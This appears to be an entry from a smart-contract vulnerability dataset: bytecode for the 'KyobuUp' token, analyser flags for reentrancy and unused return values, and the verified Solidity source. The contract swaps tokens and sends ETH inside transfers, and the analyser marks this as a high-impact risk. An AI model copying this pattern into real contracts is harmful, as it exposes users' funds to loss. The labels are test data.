1565b80356115a181611982565b919050565b6000602082840312156115b857600080fd5b8135610f9f81611982565b6000602082840312156115d557600080fd5b8151610f9f81611982565b600080604083850312156115f357600080fd5b82356115fe81611982565b9150602083013561160e81611982565b809150509250929050565b60008060006060848603121561162e57600080fd5b833561163981611982565b9250602084013561164981611982565b929592945050506040919091013590565b6000806040838503121561166d57600080fd5b823561167881611982565b946020939093013593505050565b6000602080838503121561169957600080fd5b823567ffffffffffffffff808211156116b157600080fd5b818501915085601f8301126116c557600080fd5b8135818111156116d7576116d761196c565b8060051b604051601f19603f830116810181811085821117156116fc576116fc61196c565b604052828152858101935084860182860187018a101561171b57600080fd5b600095505b838610156117455761173181611596565b855260019590950194938601938601611720565b5098975050505050505050565b60006020828403121561176457600080fd5b8135610f9f81611997565b60006020828403121561178157600080fd5b8151610f9f81611997565b6000806000606084860312156117a157600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117e7578581018301518582016040015282016117cb565b818111156117f9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118945784516001600160a01b03168352938301939183019160010161186f565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118c8576118c8611940565b500190565b6000826118ea57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561190957611909611940565b500290565b60008282101561192057611920611940565b500390565b600060001982141561193957611939611940565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bd57600080fd5b80151581146104bd57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c1814912bbef775b49c8d0ce81acdab7838a9c31c2da30502812179bf9775d4864736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 1,612 |
0x2944d745cbc18995d31fa0ded447f44e92d4c487
|
/**
*Submitted for verification at Etherscan.io on 2021-06-27
*/
/*
https://t.me/KyobuUp
https://kyobup.online/
https://twitter.com/KyobuUpToken
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
SPDX-License-Identifier: Unlicensed
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract KyobuUp is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KyobuUp";
string private constant _symbol = "KYOBUP";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _buybackMarketingAndTeam = 20;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _buybackFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_buybackFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_buybackFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _buybackMarketingAndTeam == 0) return;
_taxFee = 0;
_buybackMarketingAndTeam = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_buybackMarketingAndTeam = 20;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_taxFee = 0;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_buybackFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _buybackMarketingAndTeam);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 buybackMarketingAndTeam) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(buybackMarketingAndTeam).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c3c8cd8011610059578063c3c8cd8014610325578063c9567bf91461033c578063d543dbeb14610353578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d35780635932ead1146101fe5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b60405161012591906130c8565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612c4f565b6103f6565b60405161016291906130ad565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d919061324a565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612c00565b610425565b6040516101ca91906130ad565b60405180910390f35b3480156101df57600080fd5b506101e86104fe565b6040516101f591906132bf565b60405180910390f35b34801561020a57600080fd5b5061022560048036038101906102209190612c8b565b610507565b005b34801561023357600080fd5b5061023c6105b9565b005b34801561024a57600080fd5b5061026560048036038101906102609190612b72565b61062b565b604051610272919061324a565b60405180910390f35b34801561028757600080fd5b5061029061067c565b005b34801561029e57600080fd5b506102a76107cf565b6040516102b49190612fdf565b60405180910390f35b3480156102c957600080fd5b506102d26107f8565b6040516102df91906130c8565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190612c4f565b610835565b60405161031c91906130ad565b60405180910390f35b34801561033157600080fd5b5061033a610853565b005b34801561034857600080fd5b506103516108cd565b005b34801561035f57600080fd5b5061037a60048036038101906103759190612cdd565b610df4565b005b34801561038857600080fd5b506103a3600480360381019061039e9190612bc4565b610f3d565b6040516103b0919061324a565b60405180910390f35b60606040518060400160405280600781526020017f4b796f6275557000000000000000000000000000000000000000000000000000815250905090565b600061040a610403610fc4565b8484610fcc565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610432848484611197565b6104f38461043e610fc4565b6104ee856040518060600160405280602881526020016138a960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a4610fc4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f179092919063ffffffff16565b610fcc565b600190509392505050565b60006009905090565b61050f610fc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610593906131aa565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105fa610fc4565b73ffffffffffffffffffffffffffffffffffffffff161461061a57600080fd5b600047905061062881611f7b565b50565b6000610675600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612076565b9050919050565b610684610fc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610711576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610708906131aa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b594f4255500000000000000000000000000000000000000000000000000000815250905090565b6000610849610842610fc4565b8484611197565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610894610fc4565b73ffffffffffffffffffffffffffffffffffffffff16146108b457600080fd5b60006108bf3061062b565b90506108ca816120e4565b50565b6108d5610fc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610959906131aa565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109f230601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610fcc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3857600080fd5b505afa158015610a4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a709190612b9b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ad257600080fd5b505afa158015610ae6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0a9190612b9b565b6040518363ffffffff1660e01b8152600401610b27929190612ffa565b602060405180830381600087803b158015610b4157600080fd5b505af1158015610b55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b799190612b9b565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c023061062b565b600080610c0d6107cf565b426040518863ffffffff1660e01b8152600401610c2f9695949392919061304c565b6060604051808303818588803b158015610c4857600080fd5b505af1158015610c5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c819190612d06565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff021916908315150217905550674563918244f400006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d9e929190613023565b602060405180830381600087803b158015610db857600080fd5b505af1158015610dcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df09190612cb4565b5050565b610dfc610fc4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906131aa565b60405180910390fd5b60008111610ecc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec39061316a565b60405180910390fd5b610efb6064610eed83683635c9adc5dea000006123de90919063ffffffff16565b61245990919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610f32919061324a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561103c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110339061320a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a39061312a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161118a919061324a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611207576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fe906131ea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e906130ea565b60405180910390fd5b600081116112ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b1906131ca565b60405180910390fd5b6112c26107cf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561133057506113006107cf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e5457601260189054906101000a900460ff1615611563573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113b257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561140c5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114665750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561156257601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ac610fc4565b73ffffffffffffffffffffffffffffffffffffffff1614806115225750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661150a610fc4565b73ffffffffffffffffffffffffffffffffffffffff16145b611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115589061322a565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116075750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61161057600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116bb5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117115750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117295750601260189054906101000a900460ff165b156117fa57601260149054906101000a900460ff1661174757600080fd5b60135481111561175657600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106117a157600080fd5b601e426117ae919061332f565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006008819055505b60006118053061062b565b9050601260169054906101000a900460ff161580156118725750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561188a5750601260179054906101000a900460ff165b15611e52576118e060646118d260036118c4601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661062b565b6123de90919063ffffffff16565b61245990919063ffffffff16565b82111580156118f157506013548211155b6118fa57600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061194557600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611994919061332f565b10156119e0576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611b1757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611a78906134de565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611acf919061332f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2f565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611c0a57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611baf906134de565b9190505550611c2042611bc2919061332f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2e565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611cfd57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611ca2906134de565b919050555061546042611cb5919061332f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e2d565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611e2c57600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d95906134de565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de8919061332f565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611e38816120e4565b60004790506000811115611e5057611e4f47611f7b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611efb5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f0557600090505b611f11848484846124a3565b50505050565b6000838311158290611f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5691906130c8565b60405180910390fd5b5060008385611f6e9190613410565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fcb60028461245990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ff6573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61204760028461245990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612072573d6000803e3d6000fd5b5050565b60006006548211156120bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b49061310a565b60405180910390fd5b60006120c76124d0565b90506120dc818461245990919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612142577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156121705781602001602082028036833780820191505090505b50905030816000815181106121ae577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffff